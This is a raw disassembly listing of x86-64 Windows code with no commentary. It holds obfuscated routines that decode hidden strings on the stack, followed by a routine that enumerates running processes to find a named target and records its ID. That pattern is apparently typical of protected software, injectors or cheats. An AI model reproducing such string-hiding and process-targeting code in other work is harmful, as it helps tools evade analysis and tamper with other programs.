lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x60
movzx eax, byte [rsp + rbx + 0x20]
add rax, r11
add rbx, rax
inc rbx
jmp 0x1401213d2
lea ecx, [rbx - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x44
cmp r11, 0x42
jb 0x14012188e
movzx edi, bl
lea ecx, [rdi - 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea r8d, [rcx*2 - 0x30]
jmp 0x1401219b2
lea edx, [rbx - 8]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r9b
dec rbx
inc rbx
jmp 0x1401213d2
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r9b
movzx edi, bl
jmp 0x1401219b2
cmp r10, rdx
jae 0x140121667
lea ecx, [rbx - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 4
lea rax, [r10 + r11]
cmp rax, 8
je 0x1401218d5
lea rax, [r11 + 0x5a]
cmp r10, rax
jbe 0x14012174a
lea edx, [rbx + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r9b
cmp r10, 0x64
jae 0x14012189b
lea rax, [r11 + 0x41]
cmp r10, rax
jbe 0x1401217e8
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x48
jmp 0x140121576
lea rcx, [r11 + 1]
cmp r10, rcx
jne 0x14012169d
lea edx, [rbx + 0x18]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r9b
movzx eax, byte [rsp + rbx + 0x20]
add rax, r11
add rbx, rax
inc rbx
jmp 0x1401213d2
lea rax, [r11 + 3]
cmp r10, rax
jne 0x1401216c5
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r9b
jmp 0x140121a14
lea rax, [r11 + 4]
cmp r10, rax
jne 0x1401216ed
lea edx, [rbx - 8]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r9b
jmp 0x140121941
lea rax, [rcx + 1]
cmp r10, rax
jne 0x14012171b
lea edx, [rbx + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r9b
dec rbx
inc rbx
jmp 0x1401213d2
lea rax, [r11 + 9]
cmp r10, rax
jne 0x140121601
movzx edi, bl
lea edx, [rdi - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r9b
jmp 0x1401219b2
lea rax, [r11 + 1]
cmp r10, rax
jne 0x140121775
movzx edi, bl
lea edx, [rdi + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r9b
jmp 0x1401219b2
lea rax, [r11 + 2]
cmp r10, rax
jne 0x14012179e
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0xc
dec rbx
inc rbx
jmp 0x1401213d2
lea rax, [r11 + 5]
cmp r10, rax
jne 0x1401217c1
lea ecx, [rbx - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x24
jmp 0x140121944
lea rax, [r11 + 3]
cmp r10, rax
jne 0x140121636
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x2c
jmp 0x140121a14
lea rax, [r11 + 1]
cmp r10, rax
jne 0x140121819
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x50
movzx eax, byte [rsp + rbx + 0x20]
add rax, r11
add rbx, rax
inc rbx
jmp 0x1401213d2
inc rax
cmp r10, rax
jne 0x14012183b
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x58
jmp 0x140121a3b
lea rax, [r11 + 3]
cmp r10, rax
jne 0x14012185e
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x60
jmp 0x140121a14
lea rax, [r11 + 4]
cmp r10, rax
jne 0x140121576
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
add r8b, 0x80
dec rbx
inc rbx
jmp 0x1401213d2
mov byte [rsp + rbx + 0x20], r8b
inc rbx
jmp 0x1401213d2
lea ecx, [rbx + 0x60]
movzx eax, cl
and al, r9b
movzx r8d, r9b
sub r8b, al
add r8b, 0x30
add r8b, r8b
add r8b, cl
lea edx, [rbx + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, r9b
mov byte [rsp + rbx + 0x20], cl
jmp 0x140121941
lea edx, [rbx + 0x18]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
jmp 0x140121a14
lea edx, [rbx + 0x14]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r9b
jmp 0x140121a14
lea edx, [rbx + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea r8d, [rcx + rcx]
add r8b, dl
add r8b, r9b
jmp 0x140121944
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x7c
add r10, r11
movzx eax, r8b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1401213d2
lea ecx, [rbx + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x64
inc r11
dec rbx
inc rbx
jmp 0x1401213d2
movzx edi, bl
lea ecx, [rdi - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x5c
jmp 0x1401219b2
movzx edi, bl
lea ecx, [rdi + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x4c
sub dil, 0x7c
movzx eax, r9b
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
mov byte [rsp + rbx + 0x20], cl
inc r11
dec rbx
inc rbx
jmp 0x1401213d2
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r8d, [r9 + rcx]
sub r8b, 0x3c
dec rbx
inc rbx
jmp 0x1401213d2
lea rcx, [rbx + r14]
and dl, cl
add dl, dl
movzx r8d, r9b
sub r8b, dl
sub r8b, 0x1c
add r8b, cl
lea edx, [rbx - 0xc]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rsp + rbx + 0x20], al
inc r11
add rax, r11
sub rbx, rax
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rsp + rbx + 0x20], cl
inc r10
mov rax, 0xffffffffffffffff
sub rax, r10
add rbx, rax
movzx eax, byte [rsp + rbx + 0x20]
add rax, r11
add rbx, rax
inc rbx
jmp 0x1401213d2
lea rax, [rbx + rsi]
and dl, al
add dl, dl
sub r9b, dl
lea r8d, [rax + r9]
sub r8b, 0xc
movzx eax, byte [rsp + rbx + 0x20]
add rax, r11
add rbx, rax
inc rbx
jmp 0x1401213d2
sub bl, 0x6c
movzx eax, bl
and al, r9b
add al, al
sub bl, al
lea r8d, [r9 + rbx]
sub r8b, 0xc
jmp 0x1401213c0
lea rdx, [rbp + 0x174e6f0]
jmp 0x140122629
lea rdx, [rbp + 0xeca6cc]
jmp 0x140122629
lea rdx, [rsp + 0x20]
jmp 0x140122629
mov rcx, r13
call fcn.14011d8b0
test al, al
jne 0x14012268d
mov dword [rbp + 0x18], 0xfff3ccd6
mov dword [rbp + 0x1c], 0xeb86f5f5
mov dword [rbp + 0x20], 0xfaf885f7
mov dword [rbp + 0x24], 0xc3befdf2
mov dword [rbp + 0x28], 0xc6d0c4d2
mov dword [rbp + 0x2c], 0x57a0b8d6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rax
mov word [rbp + 0x48], ax
mov byte [rbp + 0x4a], al
movabs rsi, 0x7ebb310c5ed86f92
movabs r14, 0x7c3193251c894eb6
movzx edx, byte [rbp + 0x150]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor r11d, r11d
cmp r11, 0x33
jae 0x140122625
movzx r10d, byte [rbp + r11 + 0x18]
mov rbx, r10
cmp r8, r11
ja 0x14012261c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140121ba1
lea rcx, [r11 + rsi]
mov rax, rbx
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rbx
add rdx, rcx
add dl, 2
jmp 0x140121bd0
je 0x1401225a9
lea rax, [r9 + 3]
cmp r8, rax
je 0x140122576
lea rax, [r9 + 4]
cmp r8, rax
je 0x14012253c
lea rax, [r9 + 6]
cmp r8, rax
je 0x140122516
nop
cmp r9, r11
ja 0x140122613
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x140121bfc
lea edx, [r11 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140121c40
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401224d3
inc rax
cmp r8, rax
je 0x1401224b0
lea rax, [r9 + 4]
cmp r8, rax
je 0x140122493
lea rax, [r9 + 5]
cmp r8, rax
je 0x140122476
cmp r8, rcx
je 0x14012244a
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x140122167
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14012214a
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140122126
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140122105
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1401220e8
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401220cd
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1401220b2
lea rax, [r9 + 3]
cmp r8, rax
je 0x140122093
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140122077
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14012204d
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140121c50
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1401225f3
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1401225d3
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140121e41
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140121e24
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140121e07
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140122009
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140121fc0
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140121f7c
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140121f57
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140121c50
lea r8, [r9 + 8]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140121f2b
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140121f0e
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140121eed
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140121ed0
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140121eb3
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140121ea1
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140121e7e
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140121e70
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140121e5e
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140121c50
lea r8, [r9 + 2]
lea r9, [r8 + 3]
jmp 0x140121c50
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140121c40
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140121bd0
lea edx, [r11 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140121b73
lea edx, [r11 - 0x30]
mov ecx, Ordinal_41
movzx ebx, r11b
jmp 0x1401224df
lea edx, [r11 - 0x54]
mov ecx, Ordinal_41
jmp 0x14012251f
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec r11
inc r11
jmp 0x140121b63
lea edx, [r11 + 0x64]
mov ecx, Ordinal_35
movzx ebx, r11b
jmp 0x140122548
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14012258e
lea edx, [r11 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x140122591
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx ebx, r11b
jmp 0x1401223e4
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14012240b
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x18]
add rax, r9
add r11, rax
inc r11
jmp 0x140121b63
lea edx, [r11 - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov byte [rbp + r11 + 0x18], dl
inc r11
jmp 0x140121b63
lea edx, [r11 - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
cmp r9, 0x3e8
jb 0x140121f6f
movzx ebx, r11b
lea edx, [rbx + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x68]
jmp 0x1401224ee
lea edx, [r11 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
cmp r8, 8
jae 0x1401223b1
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x140122303
lea edx, [r11 - 0x3c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x5c
jmp 0x140121f92
lea edx, [r11 + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x1401223d0
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14012223c
lea edx, [r11 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
jmp 0x140121fcf
lea ecx, [r11 - 0x24]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 4
movzx eax, byte [rbp + r11 + 0x18]
add rax, r9
add r11, rax
inc r11
jmp 0x140121b63
lea edx, [r11 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 8
add dl, cl
jmp 0x14012240b
movzx ebx, r11b
lea edx, [rbx - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xc
add dl, cl
jmp 0x1401223e4
lea ecx, [r11 + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x10
jmp 0x140122591
lea ecx, [r11 + 0x4c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x14
jmp 0x14012258e
movzx ebx, r11b
lea edx, [rbx + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x18
jmp 0x140122555
lea ecx, [r11 + 4]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x1c
dec r11
inc r11
jmp 0x140121b63
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x20
inc r9
dec r11
inc r11
jmp 0x140121b63
movzx ebx, r11b
lea edx, [rbx - 0x44]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x24
jmp 0x1401224ec
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x140122184
lea edx, [r11 - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
jmp 0x140122018
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401221b9
lea edx, [r11 - 0xc]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x18]
add rax, r9
add r11, rax
inc r11
jmp 0x140121b63
inc rax
cmp r8, rax
jne 0x1401221de
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14012240b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140122204
lea edx, [r11 - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14012258e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012221e
movzx ebx, r11b
lea edx, [rbx - 0x58]
mov ecx, 0x34
jmp 0x140122548
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140122021
movzx ebx, r11b
lea edx, [rbx + 0x14]
mov ecx, Ordinal_60
jmp 0x1401224df
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140122256
movzx ebx, r11b
lea edx, [rbx - 0x12]
mov ecx, 0x3f
jmp 0x1401224df
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140122280
lea ecx, [r11 + 0x36]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x7a
dec r11
inc r11
jmp 0x140121b63
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401222a4
lea ecx, [r11 - 0x5e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x6e
jmp 0x140122591
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401222cc
movzx ebx, r11b
lea edx, [rbx - 0x3a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x6a
add dl, cl
jmp 0x1401223e4
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140121fd8
lea ecx, [r11 + 0xe]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x62
movzx eax, byte [rbp + r11 + 0x18]
add rax, r9
add r11, rax
inc r11
jmp 0x140121b63
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140122336
lea ecx, [r11 - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x58
movzx eax, byte [rbp + r11 + 0x18]
add rax, r9
add r11, rax
inc r11
jmp 0x140121b63
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012235a
lea ecx, [r11 + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x48
jmp 0x14012258e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140122380
movzx ebx, r11b
lea edx, [rbx - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x44
jmp 0x140122555
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140121f94
lea ecx, [r11 - 0x1c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x3c
inc r9
dec r11
inc r11
jmp 0x140121b63
movzx ebx, r11b
lea edx, [rbx + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, byte [rbp + r11 + 0x18]
sub cl, al
sub dl, 0x30
jmp 0x140122552
movzx ebx, r11b
lea ecx, [rbx + 0x74]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0x2c]
add bl, 6
movzx eax, r10b
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x2a
add cl, bl
movzx eax, cl
mov byte [rbp + r11 + 0x18], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x28
add r10b, cl
mov byte [rbp + r11 + 0x18], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x18]
add rax, r9
add r11, rax
inc r11
jmp 0x140121b63
lea edx, [r11 + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x18]
add rax, r9
add r11, rax
inc r11
jmp 0x140121b63
lea edx, [r11 - 0x2e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x140122591
lea edx, [r11 - 0x52]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14012258e
lea edx, [r11 + 0x66]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec r11
inc r11
jmp 0x140121b63
movzx ebx, r11b
lea edx, [rbx + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
sub bl, 0x42
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x32
add r10b, bl
mov byte [rbp + r11 + 0x18], r10b
inc r9
dec r11
inc r11
jmp 0x140121b63
lea edx, [r11 - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r9
dec r11
inc r11
jmp 0x140121b63
movzx ebx, r11b
lea edx, [rbx + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
sub bl, 0x1e
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x2e
add r10b, bl
add r10b, dl
mov byte [rbp + r11 + 0x18], r10b
jmp 0x14012258e
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140121b63
lea rcx, [r11 + r14]
movzx eax, cl
and al, bl
mov edx, 3
sub dl, al
add dl, dl
add dl, cl
add dl, bl
movzx eax, byte [rbp + r11 + 0x18]
add rax, r9
add r11, rax
inc r11
jmp 0x140121b63
sub r11b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140121b60
sub r11b, 0x4a
movzx eax, r10b
and al, r11b
mov ecx, 3
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140121b50
lea rdx, [rbp + 0x16af630]
jmp 0x140122629
lea rdx, [rbp + 0x8365c2]
jmp 0x140122629
lea rdx, [rbp + 0x18]
mov rcx, qword [0x1402cdcd0]
call fcn.140059ac0
nop
lea rcx, [rbp + 0x188]
call fcn.14003b2f0
lea rcx, [rbp + 0x170]
call fcn.14003b2f0
nop
lea rcx, [rbp + 0x158]
call fcn.14003b2f0
xor al, al
mov rcx, qword [rbp + 0x2f0]
xor rcx, rsp
call fcn.140212e90
lea r11, [rsp + 0x400]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x188]
call fcn.14003b2f0
lea rcx, [rbp + 0x170]
call fcn.14003b2f0
nop
lea rcx, [rbp + 0x158]
call fcn.14003b2f0
mov rdi, qword [rbp + 0xe0]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140122760
mov dword [rbp + 0x1c0], 0x130
xor edx, edx
mov r8d, Ordinal_301
lea rcx, [rbp + 0x1c4]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140122757
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp + 0x1ec]
mov r8, rdi
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140122733
inc rax
test ecx, ecx
jne 0x140122720
test edx, edx
je 0x14012274d
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140122710
jmp 0x140122757
mov eax, dword [rbp + 0x1c8]
mov qword [r13 + 0x18], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [r13 + 0x18], 0
je 0x14012265b
mov rdx, rdi
mov rcx, r13
call fcn.1401227c0
mov qword [r13], rax
mov rdx, rdi
mov rcx, r13
call fcn.1401228c0
mov qword [r13 + 8], rax
cmp qword [r13 + 0x10], 0xffffffffffffffff
je 0x14012265b
mov al, 1
jmp 0x14012265d